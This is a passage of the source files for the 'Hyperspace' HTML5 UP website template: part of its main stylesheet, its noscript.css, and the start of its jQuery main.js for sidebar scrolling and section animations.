background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='40' height='40' preserveAspectRatio='none' viewBox='0 0 40 40'%3E%3Cpath d='M9.4,12.3l10.4,10.4l10.4-10.4c0.2-0.2,0.5-0.4,0.9-0.4c0.3,0,0.6,0.1,0.9,0.4l3.3,3.3c0.2,0.2,0.4,0.5,0.4,0.9 c0,0.4-0.1,0.6-0.4,0.9L20.7,31.9c-0.2,0.2-0.5,0.4-0.9,0.4c-0.3,0-0.6-0.1-0.9-0.4L4.3,17.3c-0.2-0.2-0.4-0.5-0.4-0.9 c0-0.4,0.1-0.6,0.4-0.9l3.3-3.3c0.2-0.2,0.5-0.4,0.9-0.4S9.1,12.1,9.4,12.3z' fill='rgba(255, 255, 255, 0.15)' /%3E%3C/svg%3E");
background-size: 1.25rem;
background-repeat: no-repeat;
background-position: calc(100% - 1rem) center;
height: 2.75em;
padding-right: 2.75em;
text-overflow: ellipsis;
}
select option {
color: #ffffff;
background: #312450;
}
select:focus::-ms-value {
background-color: transparent;
}
select::-ms-expand {
display: none;
}
input[type="text"],
input[type="password"],
input[type="email"],
select {
height: 2.75em;
}
textarea {
padding: 0.75em 1em;
}
body.is-ie textarea {
min-height: 10em;
}
input[type="checkbox"],
input[type="radio"] {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
display: block;
float: left;
margin-right: -2em;
opacity: 0;
width: 1em;
z-index: -1;
}
input[type="checkbox"] + label,
input[type="radio"] + label {
text-decoration: none;
color: rgba(255, 255, 255, 0.55);
cursor: pointer;
display: inline-block;
font-size: 1em;
font-weight: normal;
padding-left: 2.4em;
padding-right: 0.75em;
position: relative;
}
input[type="checkbox"] + label:before,
input[type="radio"] + label:before {
-moz-osx-font-smoothing: grayscale;
-webkit-font-smoothing: antialiased;
display: inline-block;
font-style: normal;
font-variant: normal;
text-rendering: auto;
line-height: 1;
text-transform: none !important;
font-family: 'Font Awesome 5 Free';
font-weight: 900;
}
input[type="checkbox"] + label:before,
input[type="radio"] + label:before {
background: rgba(255, 255, 255, 0.05);
border-radius: 0.25em;
border: solid 1px rgba(255, 255, 255, 0.15);
content: '';
display: inline-block;
font-size: 0.8em;
height: 2.0625em;
left: 0;
line-height: 2.0625em;
position: absolute;
text-align: center;
top: 0;
width: 2.0625em;
}
input[type="checkbox"]:checked + label:before,
input[type="radio"]:checked + label:before {
background: #ffffff;
border-color: #ffffff;
color: #b74e91;
content: '\f00c';
}
input[type="checkbox"]:focus + label:before,
input[type="radio"]:focus + label:before {
border-color: #ffffff;
box-shadow: 0 0 0 1px #ffffff;
}
input[type="checkbox"] + label:before {
border-radius: 0.25em;
}
input[type="radio"] + label:before {
border-radius: 100%;
}
::-webkit-input-placeholder {
color: rgba(255, 255, 255, 0.35) !important;
opacity: 1.0;
}
:-moz-placeholder {
color: rgba(255, 255, 255, 0.35) !important;
opacity: 1.0;
}
::-moz-placeholder {
color: rgba(255, 255, 255, 0.35) !important;
opacity: 1.0;
}
:-ms-input-placeholder {
color: rgba(255, 255, 255, 0.35) !important;
opacity: 1.0;
}
/* Icon */
.icon {
text-decoration: none;
border-bottom: none;
position: relative;
}
.icon:before {
-moz-osx-font-smoothing: grayscale;
-webkit-font-smoothing: antialiased;
display: inline-block;
font-style: normal;
font-variant: normal;
text-rendering: auto;
line-height: 1;
text-transform: none !important;
font-family: 'Font Awesome 5 Free';
font-weight: 400;
}
.icon > .label {
display: none;
}
.icon:before {
line-height: inherit;
}
.icon.solid:before {
font-weight: 900;
}
.icon.brands:before {
font-family: 'Font Awesome 5 Brands';
}
.icon.major {
width: 2.5em;
height: 2.5em;
display: block;
background: #FFBE98;
border-radius: 100%;
color: #111111;
text-align: center;
line-height: 2.5em;
margin: 0 0 1.3em 0;
}
.icon.major:before {
font-size: 1.25em;
}
.wrapper.style1 .icon.major:before {
color: #111111;
}
.wrapper.style1-alt .icon.major:before {
color: #111111;
}
.wrapper.style2 .icon.major:before {
color: #111111;
}
.wrapper.style2-alt .icon.major:before {
color: #111111;
}
.wrapper.style3 .icon.major:before {
color: #111111;
}
.wrapper.style3-alt .icon.major:before {
color: #111111;
}
/* Image */
.image {
border-radius: 0.25em;
border: 0;
display: inline-block;
position: relative;
}
.image img {
border-radius: 0.25em;
display: block;
}
.image.left, .image.right {
max-width: 40%;
}
.image.left img, .image.right img {
width: 100%;
}
.image.left {
float: left;
margin: 0 1.5em 1em 0;
top: 0.25em;
}
.image.right {
float: right;
margin: 0 0 1em 1.5em;
top: 0.25em;
}
.image.fit {
display: block;
margin: 0 0 2em 0;
width: 100%;
}
.image.fit img {
width: 100%;
}
.image.main {
display: block;
margin: 0 0 3em 0;
width: 100%;
}
.image.main img {
width: 100%;
}
/* List */
ol {
list-style: decimal;
margin: 0 0 2em 0;
padding-left: 1.25em;
}
ol li {
padding-left: 0.25em;
}
ul {
list-style: disc;
margin: 0 0 2em 0;
padding-left: 1em;
}
ul li {
padding-left: 0.5em;
}
ul.alt {
list-style: none;
padding-left: 0;
}
ul.alt li {
border-top: solid 1px rgba(255, 255, 255, 0.15);
padding: 0.5em 0;
}
ul.alt li:first-child {
border-top: 0;
padding-top: 0;
}
dl {
margin: 0 0 2em 0;
}
dl dt {
display: block;
font-weight: bold;
margin: 0 0 1em 0;
}
dl dd {
margin-left: 2em;
}
/* Actions */
ul.actions {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
cursor: default;
list-style: none;
margin-left: -1em;
padding-left: 0;
}
ul.actions li {
padding: 0 0 0 1em;
vertical-align: middle;
}
ul.actions.special {
-moz-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
width: 100%;
margin-left: 0;
}
ul.actions.special li:first-child {
padding-left: 0;
}
ul.actions.stacked {
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
margin-left: 0;
}
ul.actions.stacked li {
padding: 1.3em 0 0 0;
}
ul.actions.stacked li:first-child {
padding-top: 0;
}
ul.actions.fit {
width: calc(100% + 1em);
}
ul.actions.fit li {
-moz-flex-grow: 1;
-webkit-flex-grow: 1;
-ms-flex-grow: 1;
flex-grow: 1;
-moz-flex-shrink: 1;
-webkit-flex-shrink: 1;
-ms-flex-shrink: 1;
flex-shrink: 1;
width: 100%;
}
ul.actions.fit li > * {
width: 100%;
}
ul.actions.fit.stacked {
width: 100%;
}
@media screen and (max-width: 480px) {
ul.actions:not(.fixed) {
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
margin-left: 0;
width: 100% !important;
}
ul.actions:not(.fixed) li {
-moz-flex-grow: 1;
-webkit-flex-grow: 1;
-ms-flex-grow: 1;
flex-grow: 1;
-moz-flex-shrink: 1;
-webkit-flex-shrink: 1;
-ms-flex-shrink: 1;
flex-shrink: 1;
padding: 1em 0 0 0;
text-align: center;
width: 100%;
}
ul.actions:not(.fixed) li > * {
width: 100%;
}
ul.actions:not(.fixed) li:first-child {
padding-top: 0;
}
ul.actions:not(.fixed) li input[type="submit"],
ul.actions:not(.fixed) li input[type="reset"],
ul.actions:not(.fixed) li input[type="button"],
ul.actions:not(.fixed) li button,
ul.actions:not(.fixed) li .button {
width: 100%;
}
ul.actions:not(.fixed) li input[type="submit"].icon:before,
ul.actions:not(.fixed) li input[type="reset"].icon:before,
ul.actions:not(.fixed) li input[type="button"].icon:before,
ul.actions:not(.fixed) li button.icon:before,
ul.actions:not(.fixed) li .button.icon:before {
margin-left: -0.5rem;
}
}
/* Contact */
ul.contact {
list-style: none;
padding: 0;
}
ul.contact > li {
padding: 0;
margin: 1.5em 0 0 0;
}
ul.contact > li:first-child {
margin-top: 0;
}
/* Icons */
ul.icons {
cursor: default;
list-style: none;
padding-left: 0;
}
ul.icons li {
display: inline-block;
padding: 0 0.75em 0 0;
}
ul.icons li:last-child {
padding-right: 0;
}
ul.icons li > a, ul.icons li > span {
border: 0;
}
ul.icons li > a .label, ul.icons li > span .label {
display: none;
}
/* Menu */
ul.menu {
list-style: none;
padding: 0;
}
ul.menu > li {
border-left: solid 1px rgba(255, 255, 255, 0.15);
display: inline-block;
line-height: 1;
margin-left: 1.5em;
padding: 0 0 0 1.5em;
}
ul.menu > li:first-child {
border-left: 0;
margin: 0;
padding-left: 0;
}
@media screen and (max-width: 480px) {
ul.menu > li {
border-left: 0;
display: block;
line-height: inherit;
margin: 0.5em 0 0 0;
padding-left: 0;
}
}
/* Section/Article */
section.special, article.special {
text-align: center;
}
header p {
color: rgba(255, 255, 255, 0.35);
position: relative;
margin: 0 0 1.5em 0;
}
header h2 + p {
font-size: 1.25em;
margin-top: -1em;
line-height: 1.5em;
}
header h3 + p {
font-size: 1.1em;
margin-top: -0.8em;
line-height: 1.5em;
}
header h4 + p,
header h5 + p,
header h6 + p {
font-size: 0.9em;
margin-top: -0.6em;
line-height: 1.5em;
}
/* Split */
.split {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
}
.split > * {
width: calc(50% - 2.5em);
}
.split > :nth-child(2n - 1) {
padding-right: 2.5em;
border-right: solid 1px rgba(255, 255, 255, 0.15);
}
.split > :nth-child(2n) {
padding-left: 2.5em;
}
.split.style1 > :nth-child(2n - 1) {
width: calc(66.66666% - 2.5em);
}
.split.style1 > :nth-child(2n) {
width: calc(33.33333% - 2.5em);
}
@media screen and (max-width: 1680px) {
.split > * {
width: calc(50% - 2em);
}
.split > :nth-child(2n - 1) {
padding-right: 2em;
}
.split > :nth-child(2n) {
padding-left: 2em;
}
.split.style1 > :nth-child(2n - 1) {
width: calc(66.66666% - 2em);
}
.split.style1 > :nth-child(2n) {
width: calc(33.33333% - 2em);
}
}
@media screen and (max-width: 980px) {
.split {
display: block;
}
.split > * {
border-top: solid 1px rgba(255, 255, 255, 0.15);
margin: 4em 0 0 0;
padding: 4em 0 0 0;
width: 100% !important;
}
.split > :nth-child(2n - 1) {
border-right: 0;
padding-right: 0;
}
.split > :nth-child(2n) {
padding-left: 0;
}
.split > :first-child {
border-top: 0;
margin-top: 0;
padding-top: 0;
}
}
@media screen and (max-width: 736px) {
.split > * {
margin: 3em 0 0 0;
padding: 3em 0 0 0;
}
}
/* Spotlights */
.spotlights > section {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
min-height: 22.5em;
}
body.is-ie .spotlights > section {
min-height: 0;
}
.spotlights > section > .image {
background-position: center center;
background-size: cover;
border-radius: 0;
display: block;
position: relative;
width: 25em;
}
.spotlights > section > .image img {
border-radius: 0;
display: block;
}
.spotlights > section > .image:before {
-moz-transition: opacity 1s ease;
-webkit-transition: opacity 1s ease;
-ms-transition: opacity 1s ease;
transition: opacity 1s ease;
background: #FFBE98;
content: '';
display: block;
height: 100%;
left: 0;
opacity: 0;
position: absolute;
top: 0;
width: 100%;
}
.spotlights > section > .content {
padding: 4em 5em 2em 5em ;
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
-moz-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
width: 50em;
-ms-flex: 1;
}
.spotlights > section > .content > .inner {
-moz-transform: translateX(0) translateY(0);
-webkit-transform: translateX(0) translateY(0);
-ms-transform: translateX(0) translateY(0);
transform: translateX(0) translateY(0);
-moz-transition: opacity 1s ease, -moz-transform 1s ease;
-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;
-ms-transition: opacity 1s ease, -ms-transform 1s ease;
transition: opacity 1s ease, transform 1s ease;
opacity: 1;
}
.spotlights > section:nth-child(2) {
background-color: rgba(0, 0, 0, 0.05);
}
.spotlights > section:nth-child(3) {
background-color: rgba(0, 0, 0, 0.1);
}
.spotlights > section.inactive > .image:before,
body.is-preload .spotlights > section > .image:before {
opacity: 1;
}
.spotlights > section.inactive > .content > .inner,
body.is-preload .spotlights > section > .content > .inner {
-moz-transform: translateX(-1em);
-webkit-transform: translateX(-1em);
-ms-transform: translateX(-1em);
transform: translateX(-1em);
opacity: 0;
}
@media screen and (max-width: 1680px) {
.spotlights > section > .content {
padding: 4em 4em 2em 4em ;
}
}
@media screen and (max-width: 980px) {
.spotlights > section {
display: block;
}
.spotlights > section > .image {
width: 100%;
height: 50vh;
}
.spotlights > section > .content {
width: 100%;
}
.spotlights > section.inactive > .content > .inner,
body.is-preload .spotlights > section > .content > .inner {
-moz-transform: translateY(1em);
-webkit-transform: translateY(1em);
-ms-transform: translateY(1em);
transform: translateY(1em);
}
}
@media screen and (max-width: 736px) {
.spotlights > section > .image {
height: 50vh;
min-height: 15em;
}
.spotlights > section > .content {
padding: 3em 2em 1em 2em ;
}
}
/* Table */
.table-wrapper {
-webkit-overflow-scrolling: touch;
overflow-x: auto;
}
table {
margin: 0 0 2em 0;
width: 100%;
}
table tbody tr {
border: solid 1px rgba(255, 255, 255, 0.15);
border-left: 0;
border-right: 0;
}
table tbody tr:nth-child(2n + 1) {
background-color: rgba(255, 255, 255, 0.05);
}
table td {
padding: 0.75em 0.75em;
}
table th {
color: #ffffff;
font-size: 1em;
font-weight: bold;
padding: 0 0.75em 0.75em 0.75em;
text-align: left;
}
table thead {
border-bottom: solid 2px rgba(255, 255, 255, 0.15);
}
table tfoot {
border-top: solid 2px rgba(255, 255, 255, 0.15);
}
table.alt {
border-collapse: separate;
}
table.alt tbody tr td {
border: solid 1px rgba(255, 255, 255, 0.15);
border-left-width: 0;
border-top-width: 0;
}
table.alt tbody tr td:first-child {
border-left-width: 1px;
}
table.alt tbody tr:first-child td {
border-top-width: 1px;
}
table.alt thead {
border-bottom: 0;
}
table.alt tfoot {
border-top: 0;
}
/* Wrapper */
.wrapper {
position: relative;
}
.wrapper > .inner {
padding: 5em 5em 3em 5em ;
max-width: 100%;
width: 75em;
}
@media screen and (max-width: 1680px) {
.wrapper > .inner {
padding: 4em 4em 2em 4em ;
}
}
@media screen and (max-width: 1280px) {
.wrapper > .inner {
width: 100%;
}
}
@media screen and (max-width: 736px) {
.wrapper > .inner {
padding: 3em 2em 1em 2em ;
}
}
.wrapper.alt {
background-color: #261c3e;
}
.wrapper.style1 {
background-color: #111111;
}
.wrapper.style1-alt {
background-color: #111111;
}
.wrapper.style2 {
background-color: #A3A3A3;
}
.wrapper.style2-alt {
background-color: #FFBE98;
}
.wrapper.style3 {
background-color: #9d9d9d;
}
.wrapper.style3-alt {
background-color: #9d9d9d;
}
.wrapper.fullscreen {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
-moz-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
min-height: 100vh;
}
body.is-ie .wrapper.fullscreen {
height: 100vh;
}
@media screen and (max-width: 1280px) {
.wrapper.fullscreen {
min-height: calc(100vh - 2.5em);
}
body.is-ie .wrapper.fullscreen {
height: calc(100vh - 2.5em);
}
}
@media screen and (max-width: 736px) {
.wrapper.fullscreen {
padding: 2em 0;
min-height: 0;
}
body.is-ie .wrapper.fullscreen {
height: auto;
}
}
.wrapper.fade-up > .inner {
-moz-transform: translateY(0);
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
-moz-transition: opacity 1s ease, -moz-transform 1s ease;
-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;
-ms-transition: opacity 1s ease, -ms-transform 1s ease;
transition: opacity 1s ease, transform 1s ease;
opacity: 1.0;
}
.wrapper.fade-up.inactive > .inner,
body.is-preload .wrapper.fade-up > .inner {
opacity: 0;
-moz-transform: translateY(1em);
-webkit-transform: translateY(1em);
-ms-transform: translateY(1em);
transform: translateY(1em);
}
.wrapper.fade-down > .inner {
-moz-transform: translateY(0);
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
-moz-transition: opacity 1s ease, -moz-transform 1s ease;
-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;
-ms-transition: opacity 1s ease, -ms-transform 1s ease;
transition: opacity 1s ease, transform 1s ease;
opacity: 1.0;
}
.wrapper.fade-down.inactive > .inner,
body.is-preload .wrapper.fade-down > .inner {
opacity: 0;
-moz-transform: translateY(-1em);
-webkit-transform: translateY(-1em);
-ms-transform: translateY(-1em);
transform: translateY(-1em);
}
.wrapper.fade > .inner {
-moz-transition: opacity 1s ease;
-webkit-transition: opacity 1s ease;
-ms-transition: opacity 1s ease;
transition: opacity 1s ease;
opacity: 1.0;
}
.wrapper.fade.inactive > .inner,
body.is-preload .wrapper.fade > .inner {
opacity: 0;
}
/* Header */
#header {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
background-color: #111111;
cursor: default;
padding: 1.75em 2em;
}
#header > .title {
border: 0;
color: #ffffff;
display: block;
font-size: 1.25em;
font-weight: bold;
}
#header > nav {
-moz-flex: 1;
-webkit-flex: 1;
-ms-flex: 1;
flex: 1;
text-align: right;
}
#header > nav > ul {
margin: 0;
padding: 0;
}
#header > nav > ul > li {
display: inline-block;
margin-left: 1.75em;
padding: 0;
vertical-align: middle;
}
#header > nav > ul > li:first-child {
margin-left: 0;
}
#header > nav > ul > li a {
border: 0;
color: rgba(255, 255, 255, 0.35);
display: inline-block;
font-size: 0.6em;
font-weight: bold;
letter-spacing: 0.25em;
text-transform: uppercase;
}
#header > nav > ul > li a:hover {
color: rgba(255, 255, 255, 0.55);
}
#header > nav > ul > li a.active {
color: #ffffff;
}
@media screen and (max-width: 736px) {
#header {
padding: 1em 2em;
}
}
@media screen and (max-width: 480px) {
#header {
display: block;
padding: 0 2em;
text-align: left;
}
#header .title {
font-size: 1.25em;
padding: 1em 0;
}
#header > nav {
border-top: solid 1px rgba(255, 255, 255, 0.15);
text-align: inherit;
}
#header > nav > ul > li {
margin-left: 1.5em;
}
#header > nav > ul > li a {
height: 6em;
line-height: 6em;
}
}
/* Wrapper (main) */
#sidebar + #wrapper {
margin-left: 18em;
}
@media screen and (max-width: 1280px) {
#sidebar + #wrapper {
margin-left: 0;
padding-top: 3.5em;
}
}
@media screen and (max-width: 736px) {
#sidebar + #wrapper {
padding-top: 0;
}
}
#header + #wrapper > .wrapper > .inner {
margin: 0 auto;
}
/* Footer */
#sidebar + #wrapper + #footer {
margin-left: 18em;
}
@media screen and (max-width: 1280px) {
#sidebar + #wrapper + #footer {
margin-left: 0;
}
}
#footer > .inner a {
border-bottom-color: rgba(255, 255, 255, 0.15);
}
#footer > .inner a:hover {
border-bottom-color: transparent;
}
#footer > .inner .menu {
font-size: 0.8em;
color: rgba(255, 255, 255, 0.15);
}
#header + #wrapper + #footer > .inner {
margin: 0 auto;
}
/* Sidebar */
#sidebar {
padding: 2.5em 2.5em 0.5em 2.5em ;
background: #111111;
cursor: default;
height: 100vh;
left: 0;
overflow-x: hidden;
overflow-y: auto;
position: fixed;
text-align: right;
top: 0;
width: 18em;
z-index: 10000;
}
#sidebar > .inner {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
-moz-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
-moz-transform: translateY(0);
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
-moz-transition: opacity 1s ease;
-webkit-transition: opacity 1s ease;
-ms-transition: opacity 1s ease;
transition: opacity 1s ease;
min-height: 100%;
opacity: 1;
width: 100%;
}
body.is-ie #sidebar > .inner {
height: 100%;
}
#sidebar nav > ul {
list-style: none;
padding: 0;
}
#sidebar nav > ul > li {
-moz-transform: translateY(0);
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
-moz-transition: opacity 0.15s ease, -moz-transform 0.75s ease;
-webkit-transition: opacity 0.15s ease, -webkit-transform 0.75s ease;
-ms-transition: opacity 0.15s ease, -ms-transform 0.75s ease;
transition: opacity 0.15s ease, transform 0.75s ease;
margin: 1.5em 0 0 0;
opacity: 1;
padding: 0;
position: relative;
}
#sidebar nav > ul > li:first-child {
margin: 0;
}
#sidebar nav > ul > li:nth-child(1) {
-moz-transition-delay: 0.45s;
-webkit-transition-delay: 0.45s;
-ms-transition-delay: 0.45s;
transition-delay: 0.45s;
}
#sidebar nav > ul > li:nth-child(2) {
-moz-transition-delay: 0.65s;
-webkit-transition-delay: 0.65s;
-ms-transition-delay: 0.65s;
transition-delay: 0.65s;
}
#sidebar nav > ul > li:nth-child(3) {
-moz-transition-delay: 0.85s;
-webkit-transition-delay: 0.85s;
-ms-transition-delay: 0.85s;
transition-delay: 0.85s;
}
#sidebar nav > ul > li:nth-child(4) {
-moz-transition-delay: 1.05s;
-webkit-transition-delay: 1.05s;
-ms-transition-delay: 1.05s;
transition-delay: 1.05s;
}
#sidebar nav > ul > li:nth-child(5) {
-moz-transition-delay: 1.25s;
-webkit-transition-delay: 1.25s;
-ms-transition-delay: 1.25s;
transition-delay: 1.25s;
}
#sidebar nav > ul > li:nth-child(6) {
-moz-transition-delay: 1.45s;
-webkit-transition-delay: 1.45s;
-ms-transition-delay: 1.45s;
transition-delay: 1.45s;
}
#sidebar nav > ul > li:nth-child(7) {
-moz-transition-delay: 1.65s;
-webkit-transition-delay: 1.65s;
-ms-transition-delay: 1.65s;
transition-delay: 1.65s;
}
#sidebar nav > ul > li:nth-child(8) {
-moz-transition-delay: 1.85s;
-webkit-transition-delay: 1.85s;
-ms-transition-delay: 1.85s;
transition-delay: 1.85s;
}
#sidebar nav > ul > li:nth-child(9) {
-moz-transition-delay: 2.05s;
-webkit-transition-delay: 2.05s;
-ms-transition-delay: 2.05s;
transition-delay: 2.05s;
}
#sidebar nav > ul > li:nth-child(10) {
-moz-transition-delay: 2.25s;
-webkit-transition-delay: 2.25s;
-ms-transition-delay: 2.25s;
transition-delay: 2.25s;
}
#sidebar nav > ul > li:nth-child(11) {
-moz-transition-delay: 2.45s;
-webkit-transition-delay: 2.45s;
-ms-transition-delay: 2.45s;
transition-delay: 2.45s;
}
#sidebar nav > ul > li:nth-child(12) {
-moz-transition-delay: 2.65s;
-webkit-transition-delay: 2.65s;
-ms-transition-delay: 2.65s;
transition-delay: 2.65s;
}
#sidebar nav > ul > li:nth-child(13) {
-moz-transition-delay: 2.85s;
-webkit-transition-delay: 2.85s;
-ms-transition-delay: 2.85s;
transition-delay: 2.85s;
}
#sidebar nav > ul > li:nth-child(14) {
-moz-transition-delay: 3.05s;
-webkit-transition-delay: 3.05s;
-ms-transition-delay: 3.05s;
transition-delay: 3.05s;
}
#sidebar nav > ul > li:nth-child(15) {
-moz-transition-delay: 3.25s;
-webkit-transition-delay: 3.25s;
-ms-transition-delay: 3.25s;
transition-delay: 3.25s;
}
#sidebar nav > ul > li:nth-child(16) {
-moz-transition-delay: 3.45s;
-webkit-transition-delay: 3.45s;
-ms-transition-delay: 3.45s;
transition-delay: 3.45s;
}
#sidebar nav > ul > li:nth-child(17) {
-moz-transition-delay: 3.65s;
-webkit-transition-delay: 3.65s;
-ms-transition-delay: 3.65s;
transition-delay: 3.65s;
}
#sidebar nav > ul > li:nth-child(18) {
-moz-transition-delay: 3.85s;
-webkit-transition-delay: 3.85s;
-ms-transition-delay: 3.85s;
transition-delay: 3.85s;
}
#sidebar nav > ul > li:nth-child(19) {
-moz-transition-delay: 4.05s;
-webkit-transition-delay: 4.05s;
-ms-transition-delay: 4.05s;
transition-delay: 4.05s;
}
#sidebar nav > ul > li:nth-child(20) {
-moz-transition-delay: 4.25s;
-webkit-transition-delay: 4.25s;
-ms-transition-delay: 4.25s;
transition-delay: 4.25s;
}
#sidebar nav a {
-moz-transition: color 0.2s ease;
-webkit-transition: color 0.2s ease;
-ms-transition: color 0.2s ease;
transition: color 0.2s ease;
border: 0;
color: rgba(255, 255, 255, 0.35);
display: block;
font-size: 0.6em;
font-weight: bold;
letter-spacing: 0.25em;
line-height: 1.75;
outline: 0;
padding: 1.35em 0;
position: relative;
text-decoration: none;
text-transform: uppercase;
}
#sidebar nav a:before, #sidebar nav a:after {
border-radius: 0.2em;
bottom: 0;
content: '';
height: 0.2em;
position: absolute;
right: 0;
width: 100%;
}
#sidebar nav a:before {
background: #9d9d9d;
}
#sidebar nav a:after {
background-image: -moz-linear-gradient(to right, #9d9d9d, #FFBE98);
background-image: -webkit-linear-gradient(to right, #9d9d9d, #FFBE98);
background-image: -ms-linear-gradient(to right, #9d9d9d, #FFBE98);
background-image: linear-gradient(to right, #9d9d9d, #FFBE98);
-moz-transition: max-width 0.2s ease;
-webkit-transition: max-width 0.2s ease;
-ms-transition: max-width 0.2s ease;
transition: max-width 0.2s ease;
max-width: 0;
}
#sidebar nav a:hover {
color: rgba(255, 255, 255, 0.55);
}
#sidebar nav a.active {
color: #FFBE98;
}
#sidebar nav a.active:after {
max-width: 100%;
}
body.is-preload #sidebar > .inner {
opacity: 0;
}
body.is-preload #sidebar nav ul li {
-moz-transform: translateY(2em);
-webkit-transform: translateY(2em);
-ms-transform: translateY(2em);
transform: translateY(2em);
opacity: 0;
}
@media screen and (max-width: 1280px) {
#sidebar {
height: 3.5em;
left: 0;
line-height: 3.5em;
overflow: hidden;
padding: 0;
text-align: center;
top: 0;
width: 100%;
}
#sidebar > .inner {
-moz-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
-moz-align-items: -moz-stretch;
-webkit-align-items: -webkit-stretch;
-ms-align-items: -ms-stretch;
align-items: stretch;
height: inherit;
line-height: inherit;
}
#sidebar nav {
height: inherit;
line-height: inherit;
}
#sidebar nav ul {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
height: inherit;
line-height: inherit;
margin: 0;
}
#sidebar nav ul li {
display: block;
height: inherit;
line-height: inherit;
margin: 0 0 0 2em;
padding: 0;
}
#sidebar nav a {
height: inherit;
line-height: inherit;
padding: 0;
}
#sidebar nav a:after {
background-image: none;
background-color: #FFBE98;
}
}
@media screen and (max-width: 736px) {
#sidebar {
display: none;
}
}
/* Intro */
#intro {
background-attachment: fixed;
background-image: url("images/background.svg");
background-position: top right;
background-repeat: no-repeat;
background-size: 100% 100%;
}
#intro p {
font-size: 1.25em;
}
@media screen and (max-width: 980px) {
#intro p br {
display: none;
}
}
@media screen and (max-width: 736px) {
#intro p {
font-size: 1em;
}
}
@media screen and (max-width: 1280px) {
#intro {
background-attachment: scroll;
}
}
================================================
FILE: assets/css/noscript.css
================================================
/*
Hyperspace by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
*/
/* Spotlights */
.spotlights > section > .image:before {
opacity: 0 !important;
}
.spotlights > section > .content > .inner {
-moz-transform: none !important;
-webkit-transform: none !important;
-ms-transform: none !important;
transform: none !important;
opacity: 1 !important;
}
/* Wrapper */
.wrapper > .inner {
opacity: 1 !important;
-moz-transform: none !important;
-webkit-transform: none !important;
-ms-transform: none !important;
transform: none !important;
}
/* Sidebar */
#sidebar > .inner {
opacity: 1 !important;
}
#sidebar nav > ul > li {
-moz-transform: none !important;
-webkit-transform: none !important;
-ms-transform: none !important;
transform: none !important;
opacity: 1 !important;
}
================================================
FILE: assets/js/main.js
================================================
/*
Hyperspace by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
*/
(function($) {
var $window = $(window),
$body = $('body'),
$sidebar = $('#sidebar');
// Breakpoints.
breakpoints({
xlarge: [ '1281px', '1680px' ],
large: [ '981px', '1280px' ],
medium: [ '737px', '980px' ],
small: [ '481px', '736px' ],
xsmall: [ null, '480px' ]
});
// Hack: Enable IE flexbox workarounds.
if (browser.name == 'ie')
$body.addClass('is-ie');
// Play initial animations on page load.
$window.on('load', function() {
window.setTimeout(function() {
$body.removeClass('is-preload');
}, 100);
});
// Forms.
// Hack: Activate non-input submits.
$('form').on('click', '.submit', function(event) {
// Stop propagation, default.
event.stopPropagation();
event.preventDefault();
// Submit form.
$(this).parents('form').submit();
});
// Sidebar.
if ($sidebar.length > 0) {
var $sidebar_a = $sidebar.find('a');
$sidebar_a
.addClass('scrolly')
.on('click', function() {
var $this = $(this);
// External link? Bail.
if ($this.attr('href').charAt(0) != '#')
return;
// Deactivate all links.
$sidebar_a.removeClass('active');
// Activate link *and* lock it (so Scrollex doesn't try to activate other links as we're scrolling to this one's section).
$this
.addClass('active')
.addClass('active-locked');
})
.each(function() {
var $this = $(this),
id = $this.attr('href'),
$section = $(id);
// No section for this link? Bail.
if ($section.length < 1)
return;
// Scrollex.
$section.scrollex({
mode: 'middle',
top: '-20vh',
bottom: '-20vh',
initialize: function() {
// Deactivate section.
$section.addClass('inactive');
},
enter: function() {
// Activate section.
$section.removeClass('inactive');
// No locked links? Deactivate all links and activate this section's one.
if ($sidebar_a.filter('.active-locked').length == 0) {
$sidebar_a.removeClass('active');
$this.addClass('active');
}
// Otherwise, if this section's link is the one that's locked, unlock it.
else if ($this.hasClass('active-locked'))
$this.removeClass('active-locked');
}
});
});
}
// Scrolly.
$('.scrolly').scrolly({
speed: 1000,
offset: function() {
// If <=large, >small, and sidebar is present, use its height as the offset.
if (breakpoints.active('<=large')
&& !breakpoints.active('<=small')
&& $sidebar.length > 0)
return $sidebar.height();
return 0;
}
});
// Spotlights.
$('.spotlights > section')
.scrollex({
mode: 'middle',
top: '-10vh',
bottom: '-10vh',
initialize: function() {
// Deactivate section.
$(this).addClass('inactive');
},
enter: function() {
// Activate section.
$(this).removeClass('inactive');
}
})
